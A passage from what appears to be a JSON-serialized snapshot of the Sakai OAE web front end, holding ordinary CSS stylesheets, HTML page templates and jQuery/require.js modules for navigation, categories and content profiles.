.s3d-form-field-wrapper textarea:-moz-placeholder {color:#aaa;font-size:12px;}\n\n/*\n * Drag and Drop\n */\n.s3d-draggable-draggingitems {background-color:#1098d5;color:#fff;padding:4px 7px;display:inline-block;font-size:11px;box-shadow:0px 1px 3px 0 #999;-moz-box-shadow:0px 1px 3px 0 #999;-webkit-box-shadow:0px 1px 3px 0 #999;}\n#s3d-draggeditems-container li {background:#e9f4f8;border:2px solid #d5e9f3;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;margin-bottom:2px;}\n#s3d-draggeditems-container .s3d-draggable-hidden{display:none;}\n", "dev/css/sakai/sakai.corev1.css": "/**\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n.s3d-page-column-left{float:left;width:187px;min-height:500px;border-top:solid #d6dadd 1px;background:url(\"/devwidgets/lhnavigation/images/lhnav_bg.png\") repeat-x scroll 0 0 #FEFEFE;}\n.s3d-page-column-right{float:left;width:773px;border-left:1px solid #d6dadd; border-top:1px solid #d6dadd;padding:0px 0px 20px;box-shadow: 3px -10px 7px 0;-moz-box-shadow: 3px -10px 7px 0;-webkit-box-shadow: 3px -10px 7px 0;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;}\n/* .s3d-page-fullcolumn-nopadding{width:960px;min-height:100px;border-top:solid #d6dadd 1px;}\n.s3d-page-fullcolumn-padding{width:920px;min-height:100px;border-top:solid #d6dadd 1px; padding: 20px 20px 30px;} \n.s3d-page-full{height:100px;} */\n.s3d-navigation-container{background: url(\"/devwidgets/topnavigation/images/topnav_bg.png\") repeat-x scroll left top transparent;-moz-box-shadow:0 -5px 9px 6px #555555;-webkit-box-shadow:0 -5px 9px 6px #555555;box-shadow:0 -5px 9px 6px #555555;height: 40px;margin-left: auto;margin-right: auto;position: absolute;width: 100%;z-index: 999;}\n.s3d-page-header{background:url(\"/devwidgets/entity/images/entity_bottom_bordershadow.png\") repeat-x scroll left bottom, url(\"/devwidgets/entity/images/entity_bg.png\") repeat-x scroll left top #f7f7f7;border-bottom: 1px solid #B3B3B4;min-height: 45px;margin-top: 40px;width:960px;}\n.s3d-page-header-fullheight {min-height: 70px;}\n.s3d-page-header.collection_modified {padding:0px;height:auto;width:960px;-moz-box-shadow:0 -5px 9px 6px #555555;-webkit-box-shadow:0 -5px 9px 6px #555555;box-shadow:0 -5px 9px 6px #555555;min-height:0;border-bottom:0;}\n.s3d-fixed-container .s3d-container-shadow-left, .s3d-container-shadow-right {background:url(\"/dev/images/container_shadow_left.png\") no-repeat scroll 0 0 transparent;height:346px;position:absolute;width:5px;margin-left:-5px;}\n.s3d-container-shadow-right{background: url(\"/dev/images/container_shadow_right.png\") no-repeat scroll 0 0 transparent;float: right;margin-left:960px;}\n\n/* CSS THAT OVERWRITES MAIN CSS */\n.s3d-main-container {padding: 0px !important;}\n.fixed-container.s3d-main-container{width:960px;}\n.s3d-twocolumn{background-color:#fff;}\n.requireUser, .requireAnon {background: url(\"/dev/images/grey_bg.png\") repeat-x scroll left -91px #f2f2f2 !important;}\n.s3d-header .fixed-container {padding:0 !important; width:960px;}\n.s3d-header .s3d-fixed-container .s3d-decor-left {margin-left:0;}\n.s3d-header .s3d-fixed-container .s3d-decor {margin-right:0;}\n.s3d-header .s3d-fixed-container .s3d-decor-left {background: url(\"/dev/images/pageHeader_tl.png\") no-repeat scroll 0 0 transparent;}\n.s3d-header .s3d-fixed-container .s3d-decor {background: url(\"/dev/images/pageHeader_tr.png\") no-repeat scroll 0 0 transparent;}\n.s3d-header .s3d-navigation-container{min-width:960px;}\n\n/* Page titles */\n.s3d-contentpage-title {border-bottom:5px solid #E1E1E1; color:#424242; font-size:1.25em; padding:8px 0; margin-bottom: 15px;}\n\n/* Page bottom */\n.s3d-bottom-spacer {clear: both; padding-bottom: 40px;}\n", "dev/group.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.group.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_addarea\" class=\"widget_inline\"></div>\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                    <div id=\"group_create_new_area_container\" style=\"display:none;\">\n                        <div class=\"s3d-popout-button-shadow\"></div>\n                        <button type=\"button\" id=\"group_create_new_area\" class=\"s3d-button s3d-header-button s3d-popout-button\"><span>+</span>__MSG__ADD__</button>\n                    </div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"group_sakaidoc_container\" class=\"s3d-page-content-lowpadding\">\n                        <div id=\"s3d-page-main-content\"></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <!-- Area Permissions overlay -->\n        <div id=\"widget_areapermissions\" class=\"widget_inline\"></div>\n\n        <div id=\"widget_worldsettings\" class=\"widget_inline\"></div>\n\n        <div id='widget_addpeople' class='widget_inline'></div>\n\n        <div id='widget_joinrequests' class='widget_inline'></div>\n\n        <div id=\"widget_deletegroup\" class=\"widget_inline\"></div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script src=\"/dev/lib/tinymce/tiny_mce_src.js\" language=\"JavaScript\" type=\"text/javascript\"></script>\n\n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/group.js\"]);</script>\n\n    </body>\n</html>\n", "dev/index.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n\n        <div style=\"display:none\">__MSG__IE_PLACEHOLDER__</div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_categories\"></div>\n                    <div id=\"explore_categories_template\"><!--\n                        <div id=\"widget_categories\" class=\"widget_inline\"></div>\n                    --></div>\n                    <div id=\"explore_navigation\">\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"explore_content\">\n                <div id=\"explore_content_second_column\">\n                    <div id=\"widget_recentactivity\" class=\"widget_inline\"></div>\n                </div>\n                <div id=\"explore_content_first_column\">\n                    <div id=\"widget_welcome\" class=\"widget_inline\"></div>\n                    <hr class=\"s3d-split-line\"/>\n                    <div id=\"widget_featuredcontent\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n            <div class=\"s3d-bottom-spacer\"></div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/explore.js\"]);</script>\n    </body>\n</html>", "dev/javascript/acknowledgements.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.acknowledgements = function() {\n        \n        var pubdata = {\n            \"structure0\": {\n                \"featured\": {\n                    \"_ref\": \"id1\",\n                    \"_title\": \"Featured\",\n                    \"_order\": 0,\n                    \"main\": {\n                        \"_ref\": \"id2\",\n                        \"_order\": 0,\n                        \"_title\": \"Featured\"\n                    }\n                },\n                \"ui\": {\n                    \"_ref\": \"id2\",\n                    \"_title\": \"UI Technologies\",\n                    \"_order\": 1,\n                    \"main\": {\n                        \"_ref\": \"id2\",\n                        \"_order\": 0,\n                        \"_title\": \"UI Technologies\"\n                    }\n                },\n                \"nakamura\": {\n                    \"_title\": \"Back-end Technologies\",\n                    \"_ref\": \"id3\",\n                    \"_order\": 2,\n                    \"main\": {\n                        \"_ref\": \"id3\",\n                        \"_order\": 0,\n                        \"_title\": \"Back-end Technologies\"\n                    }\n                }\n            },\n            \"id1\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id2414417\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [{\n                                    \"type\": \"htmlblock\",\n                                    \"id\": \"id4\"\n                                }]\n                            }\n                        ]\n                    }\n                ],\n                \"id4\": {\n                    \"htmlblock\": {\n                        \"content\": $(\"#acknowledgements_featured\").html()\n                    }\n                }\n            },\n            \"id2\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id3562190\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [{\n                                    \"type\": \"htmlblock\",\n                                    \"id\": \"id5\"\n                                }]\n                            }\n                        ]\n                    }\n                ],\n                \"id5\": {\n                    \"htmlblock\": {\n                        \"content\": $(\"#acknowledgements_uitech\").html()\n                    }\n                }\n            },\n            \"id3\": {\n                \"rows\": [\n                    {\n                        \"id\": \"id6521849\",\n                        \"columns\": [\n                            {\n                                \"width\": 1,\n                                \"elements\": [{\n                                    \"type\": \"htmlblock\",\n                                    \"id\": \"id6\"\n                                }]\n                            }\n                        ]\n                    }\n                ],\n                \"id6\": {\n                    \"htmlblock\": {\n                        \"content\": $(\"#acknowledgements_backendtech\").html()\n                    }\n                }\n            }\n        };\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n        \n        var renderEntity = function(){\n            $(window).trigger(\"sakai.entity.init\", [\"acknowledgements\"]);\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n        \n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity(); \n        });\n        \n        generateNav();\n        renderEntity();\n    \n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"acknowledgements\");\n});\n", "dev/javascript/category.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.category = sakai_global.category || {};\n\n    sakai_global.category = function() {\n\n        var originalTitle = document.title;\n        var pubdata = {};\n        var privdata = {};\n\n        // Containers\n        var $exploreNavigation = $(\"#explore_navigation\");\n        var toplevelId = \"\";\n\n        // Templates\n        var exploreNavigationTemplate = \"explore_navigation_template\";\n\n        /**\n         * Create the breadcrumb data and render on screen\n         * @param {Object} dirData Object that contains children for the category\n         * @param {Array} bbqData Array of IDs fetched with bbq to help identify correct children\n         */\n        var createBreadcrumb = function(dirData, bbqData){\n            if (!dirData){\n                sakai.api.Security.send404();\n                return false;\n            }\n            // Create top level breadcrumb\n            var breadcrumb = [];\n            breadcrumb.push({\n                \"title\": sakai.api.i18n.getValueForKey(\"ALL_CATEGORIES\"),\n                \"id\": bbqData[0],\n                \"link\": true,\n                \"url\": \"/categories\"\n            });\n            breadcrumb.push({\n                \"title\": dirData.title,\n                \"id\": dirData.id,\n                \"link\": bbqData.length - 1\n            });\n            bbqData.splice(0,1);\n\n            // Create children level breadcrumb\n            var children = dirData.children[bbqData[0]];\n            $.each(bbqData, function(index, item){\n                breadcrumb.push({\n                    \"title\": children.title,\n                    \"id\": item,\n                    \"link\": bbqData.length - 1 - index\n                });\n                if (children.children) {\n                    children = children.children[bbqData[index]];\n                }\n            });\n\n            $exploreNavigation.html(sakai.api.Util.TemplateRenderer(exploreNavigationTemplate,{\"breadcrumb\": breadcrumb}));\n            document.title = originalTitle + \" \" + dirData.title;\n        };\n\n        /**\n         * Generate the navigation object and pass it to the left hand navigation widget\n         * @param {Object} navData Contains all data from the category the user is currently viewing\n         */\n        var generateNav = function(navData){\n\n            toplevelId = navData.id;\n\n            pubdata = {\n                \"structure0\": {}\n            };\n            privdata = {\n                \"structure0\": {}\n            };\n\n            var rnd =  sakai.api.Util.generateWidgetId();\n            privdata[\"structure0\"][navData.id] = {\n                \"_order\": 0,\n                \"_ref\": rnd,\n                \"_title\": navData.title\n            };\n\n            // featuredcontent, featured people and featuredworld random numbers\n            var fcRnd = sakai.api.Util.generateWidgetId();\n            var fpRnd = sakai.api.Util.generateWidgetId();\n            var fwRnd = sakai.api.Util.generateWidgetId();\n            privdata[rnd] = {\n                \"rows\": [{\n                    \"id\": sakai.api.Util.generateWidgetId(),\n                    \"columns\": [{\n                        \"width\": 1,\n                        \"elements\": [\n                            {\n                                \"id\": fcRnd,\n                                \"type\": \"featuredcontent\"\n                            },\n                            {\n                                \"id\": fpRnd,\n                                \"type\": \"featuredpeople\"\n                            },\n                            {\n                                \"id\": fwRnd,\n                                \"type\": \"featuredworlds\"\n                            }\n                        ]\n                    }]\n                }]\n            };\n            privdata[rnd][fcRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n            privdata[rnd][fpRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n            privdata[rnd][fwRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n\n            var count = 0;\n            $.each(navData.children, function(index, item){\n                var rnd = sakai.api.Util.generateWidgetId();\n                pubdata[\"structure0\"][navData.id + \"-\" + index] = {\n                    \"_ref\": rnd,\n                    \"_order\": count,\n                    \"_title\": item.title,\n                    \"main\": {\n                        \"_ref\": rnd,\n                        \"_order\": 0,\n                        \"_title\": item.title\n                    }\n                };\n\n                // featuredcontent, featured people and featuredworld random numbers\n                var fcRnd = sakai.api.Util.generateWidgetId();\n                var fpRnd = sakai.api.Util.generateWidgetId();\n                var fwRnd = sakai.api.Util.generateWidgetId();\n                pubdata[rnd] = {\n                    \"rows\": [{\n                        \"id\": sakai.api.Util.generateWidgetId(),\n                        \"columns\": [{\n                            \"width\": 1,\n                            \"elements\": [\n                                {\n                                    \"id\": fcRnd,\n                                    \"type\": \"featuredcontent\"\n                                },\n                                {\n                                    \"id\": fpRnd,\n                                    \"type\": \"featuredpeople\"\n                                },\n                                {\n                                    \"id\": fwRnd,\n                                    \"type\": \"featuredworlds\"\n                                }\n                            ]\n                        }]\n                    }]\n                };\n                pubdata[rnd][fcRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n                pubdata[rnd][fpRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n                pubdata[rnd][fwRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n\n                count++;\n            });\n            $(window).trigger(\"lhnav.init\", [pubdata, privdata, {}]);\n        };\n\n        /**\n         * Get the category out of the URL and give it back\n         * @return {Array} Array of strings representing the selected hierarchy\n         */\n        var getCategory = function(){\n            var category = $.bbq.getState(\"l\");\n            if (category) {\n                category = category.split(\"-\");\n            }\n            return category;\n        };\n\n        var doInit = function(){\n            var category = getCategory();\n            if (!$.isArray(category) || !sakai.config.Directory[category[0]]){\n                sakai.api.Security.send404();\n                return false;\n            }\n            sakai.config.Directory[category[0]].id = category[0];\n            generateNav(sakai.config.Directory[category[0]]);\n            createBreadcrumb(sakai.config.Directory[category[0]], category);\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            doInit();\n        });\n\n        $(window).bind(\"hashchange\", function(e, data){\n            var category = getCategory();\n            createBreadcrumb(sakai.config.Directory[category[0]], category);\n        });\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"category\");\n});", "dev/javascript/content_profile.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.content_profile = function(){\n\n        var previous_content_path = false;\n        var content_path = \"\"; // The current path of the content\n        var ready_event_fired = 0;\n        var list_event_fired = false;\n        var intervalId;\n\n        var showPreview = true;\n        var collectionID = false;\n        var collectionName = false;\n        var isCollection = false;\n\n        ///////////////////////////////\n        // PRIVATE UTILITY FUNCTIONS //\n        ///////////////////////////////\n\n        /**\n         * Load the content profile for the current content path\n         * @param {Boolean} ignoreActivity Flag to also update activity data or not\n         */\n        var loadContentProfile = function(callback, ignoreActivity){\n            // Check whether there is actually a content path in the URL\n            if (content_path) {\n                // Get the content information, the members and managers and version information\n                sakai.api.Content.loadFullProfile(content_path, function(success, data){\n                    if (success) {\n                        if (data.results.hasOwnProperty(0)) {\n                            var contentInfo = false;\n                            if (data.results[0][\"status\"] === 404){\n                                sakai.api.Security.send404();\n                                return;\n                            } else if (data.results[0][\"status\"] === 403){\n                                sakai.api.Security.send403();\n                                return;\n                            } else {\n                                contentInfo = $.parseJSON(data.results[0].body);\n                                if (contentInfo[\"_mimeType\"] && contentInfo[\"_mimeType\"] === \"x-sakai/document\" || contentInfo[\"_mimeType\"] && contentInfo[\"_mimeType\"] === \"x-sakai/collection\"){\n                                    showPreview = false;\n                                } else {\n                                    switchToOneColumnLayout(false);\n                                }\n\n                                var collectionId = $.bbq.getState(\"collectionId\");\n                                var collectionName = $.bbq.getState(\"collectionName\");\n                                var currentPath = $.bbq.getState(\"p\");\n                                if(collectionId && collectionName && currentPath){\n                                    // Show go back to collection link\n                                    $(\"#back_to_collection_button #collection_title\").text(collectionName);\n                                    $(\"#back_to_collection_button\").attr(\"href\", \"/content#p=\" + collectionId + \"/\" + sakai.api.Util.safeURL(collectionName) + \"&item=\" + currentPath.split(\"/\")[0]);\n                                    $(\"#back_to_collection_container\").show(\"slow\");\n                                } else {\n                                    $(\"#back_to_collection_container\").hide(\"slow\");\n                                }\n                            }\n                        }\n\n                        sakai.api.Content.parseFullProfile(data.results, function(parsedData){\n                            parsedData.mode = \"content\";\n                            sakai_global.content_profile.content_data = parsedData;\n                            $(window).trigger(\"ready.contentprofile.sakai\", sakai_global.content_profile.content_data);\n                            if ($.isFunction(callback)) {\n                                callback(true);\n                            }\n                            initEntityWidget();\n\n                            if (!showPreview){\n                                renderSakaiDoc(parsedData.data);\n                            }\n                        });\n                    }\n                });\n            } else {\n                sakai.api.Security.send404();\n            }\n        };\n\n        var initEntityWidget = function(){\n            if (sakai_global.content_profile.content_data) {\n                var context = \"content\";\n                if (sakai.data.me.user.anon) {\n                    type = \"content_anon\";\n                } else if (sakai_global.content_profile.content_data.isManager) {\n                    type = \"content_managed\";\n                } else if (sakai_global.content_profile.content_data.isViewer) {\n                    type = \"content_shared\";\n                } else {\n                    type = \"content_not_shared\";\n                }\n                $(window).trigger(\"sakai.entity.init\", [context, type, sakai_global.content_profile.content_data]);\n            }\n        };\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            initEntityWidget();\n        });\n\n        $(window).bind(\"load.content_profile.sakai\", function(e, callback) {\n            loadContentProfile(callback);\n        });\n\n        var handleHashChange = function() {\n            content_path = $.bbq.getState(\"p\") || \"\";\n            content_path = content_path.split(\"/\");\n            content_path = \"/p/\" + content_path[0];\n\n            if (content_path != previous_content_path) {\n                previous_content_path = content_path;\n                globalPageStructure = false;\n                loadContentProfile(function(){\n                    // The request was successful so initialise the entity widget\n                    if (sakai_global.entity && sakai_global.entity.isReady) {\n                        $(window).trigger(\"render.entity.sakai\", [\"content\", sakai_global.content_profile.content_data]);\n                    }\n                    else {\n                        $(window).bind(\"ready.entity.sakai\", function(e){\n                            $(window).trigger(\"render.entity.sakai\", [\"content\", sakai_global.content_profile.content_data]);\n                            ready_event_fired++;\n                        });\n                    }\n                    // The request was successful so initialise the relatedcontent widget\n                    if (sakai_global.relatedcontent && sakai_global.relatedcontent.isReady) {\n                        $(window).trigger(\"render.relatedcontent.sakai\", sakai_global.content_profile.content_data);\n                    }\n                    else {\n                        $(window).bind(\"ready.relatedcontent.sakai\", function(e){\n                            $(window).trigger(\"render.relatedcontent.sakai\", sakai_global.content_profile.content_data);\n                            ready_event_fired++;\n                        });\n                    }\n                    // The request was successful so initialise the relatedcontent widget\n                    if (sakai_global.contentpreview && sakai_global.contentpreview.isReady) {\n                        if (showPreview) {\n                            $(window).trigger(\"start.contentpreview.sakai\", sakai_global.content_profile.content_data);\n                        }\n                    }\n                    else {\n                        $(window).bind(\"ready.contentpreview.sakai\", function(e){\n                            if (showPreview) {\n                                $(window).trigger(\"start.contentpreview.sakai\", sakai_global.content_profile.content_data);\n                                ready_event_fired++;\n                            }\n                        });\n                    }\n                    // The request was successful so initialise the metadata widget\n                    if (sakai_global.contentmetadata && sakai_global.contentmetadata.isReady) {\n                        $(window).trigger(\"render.contentmetadata.sakai\");\n                    }\n                    else {\n                        $(window).bind(\"ready.contentmetadata.sakai\", function(e){\n                            $(window).trigger(\"render.contentmetadata.sakai\");\n                            ready_event_fired++;\n                        });\n                    }                   \n                    sakai.api.Security.showPage();\n\n                    if(sakai_global.content_profile.content_data.data._mimeType === \"x-sakai/collection\"){\n                        $(\".collectionviewer_carousel_item.selected\").click();\n                    }\n\n                    // rerender comments widget\n                    $(window).trigger(\"content_profile_hash_change\");\n                });\n            }\n            showPreview = true;\n        };\n\n        $(\"#entity_content_share\").live(\"click\", function(){\n            $(window).trigger(\"init.sharecontent.sakai\");\n            return false;\n        });\n\n        $(\"#entity_content_add_to_library\").live(\"click\", function(){\n            sakai.api.Content.addToLibrary(sakai_global.content_profile.content_data.data[\"_path\"], sakai.data.me.user.userid, false, function(){\n                $(\"#entity_content_add_to_library\").hide();\n                sakai.api.Util.notification.show($(\"#content_profile_add_library_title\").html(), $(\"#content_profile_add_library_body\").html());\n            });\n        });\n\n        ////////////////////\n        // Initialisation //\n        ////////////////////\n\n        /**\n         * Initialise the content profile page\n         */\n        var init = function(){\n            // Bind an event to window.onhashchange that, when the history state changes,\n            // loads all the information for the current resource\n            $(window).bind('hashchange', function(){\n                handleHashChange();\n            });\n            handleHashChange();\n        };\n\n        // //////////////////////////\n        // Dealing with Sakai docs //\n        /////////////////////////////\n\n        var globalPageStructure = false;\n\n        var generateNav = function(pagestructure){\n            if (pagestructure) {\n                $(window).trigger(\"lhnav.init\", [pagestructure, {}, {\n                    parametersToCarryOver: {\n                        \"p\": sakai_global.content_profile.content_data.content_path.replace(\"/p/\", \"\")\n                    }\n                }, sakai_global.content_profile.content_data.content_path]);\n            }\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav(globalPageStructure);\n        });\n\n        var getPageCount = function(pagestructure){\n            var pageCount = 0;\n            for (var tl in pagestructure[\"structure0\"]){\n                if (pagestructure[\"structure0\"].hasOwnProperty(tl) && tl !== \"_childCount\"){\n                    pageCount++;\n                    if (pageCount >= 3){\n                        return 3;\n                    }\n                    for (var ll in pagestructure[\"structure0\"][tl]){\n                        if (ll.substring(0,1) !== \"_\"){\n                            pageCount++;\n                            if (pageCount >= 3){\n                                return 3;\n                            }\n                        }\n                    }\n                }\n            }\n            return pageCount;\n        };\n\n        $(window).bind(\"sakai.contentauthoring.needsTwoColumns\", function(){\n            switchToTwoColumnLayout(true);\n        });\n\n        $(window).bind(\"sakai.contentauthoring.needsOneColumn\", function(){\n            switchToOneColumnLayout(true);\n        });\n\n        var setManagerProperty = function(structure, value){\n            for (var i in structure){\n                if (structure.hasOwnProperty(i)){\n                    structure[i]._canEdit = value;\n                    structure[i]._canSubedit = value;\n                }\n            }\n            return structure;\n        };\n\n        var renderSakaiDoc = function(pagestructure){\n            pagestructure = sakai.api.Content.Migrators.migratePageStructure(sakai.api.Server.cleanUpSakaiDocObject(pagestructure), sakai_global.content_profile.content_data.isManager ? content_path : false);\n            pagestructure.structure0 = setManagerProperty(pagestructure.structure0, sakai_global.content_profile.content_data.isManager);\n            if (getPageCount(pagestructure) >= 3){\n                switchToTwoColumnLayout(true);\n            } else {\n                switchToOneColumnLayout(true);\n            }\n            globalPageStructure = pagestructure;\n            generateNav(pagestructure);\n        };\n\n        var switchToTwoColumnLayout = function(isSakaiDoc){\n            $(\"#content_profile_left_column\").show();\n            $(\"#content_profile_main_container\").addClass(\"s3d-twocolumn\");\n            $(\"#content_profile_right_container\").addClass(\"s3d-page-column-right\");\n            $(\"#content_profile_right_container\").removeClass(\"s3d-page-fullcolumn-nopadding\");\n            $(\"#content_profile_right_metacomments\").removeClass(\"fl-container-650\");\n            $(\"#content_profile_right_metacomments\").addClass(\"fl-container-450\");\n            if (isSakaiDoc){\n                $(\"#content_profile_preview_container\").hide();\n                $(\"#content_profile_contentauthoring_container\").show();\n            } else {\n                $(\"#content_profile_preview_container\").show();\n                $(\"#content_profile_contentauthoring_container\").hide();\n            }\n        };\n\n        var switchToOneColumnLayout = function(isSakaiDoc){\n            $(\"#content_profile_left_column\").hide();\n            $(\"#content_profile_main_container\").removeClass(\"s3d-twocolumn\");\n            $(\"#content_profile_right_container\").removeClass(\"s3d-page-column-right\");\n            $(\"#content_profile_right_container\").addClass(\"s3d-page-fullcolumn-nopadding\");\n            $(\"#content_profile_right_metacomments\").addClass(\"fl-container-650\");\n            $(\"#content_profile_right_metacomments\").removeClass(\"fl-container-450\");\n            if (isSakaiDoc){\n                $(\"#content_profile_preview_container\").hide();\n                $(\"#content_profile_contentauthoring_container\").show();\n            } else {\n                $(\"#content_profile_preview_container\").show();\n                $(\"#content_profile_contentauthoring_container\").hide();\n            }\n        };\n\n        // Initialise the content profile page\n        init();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"content_profile\");\n});\n", "dev/javascript/createnew.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, 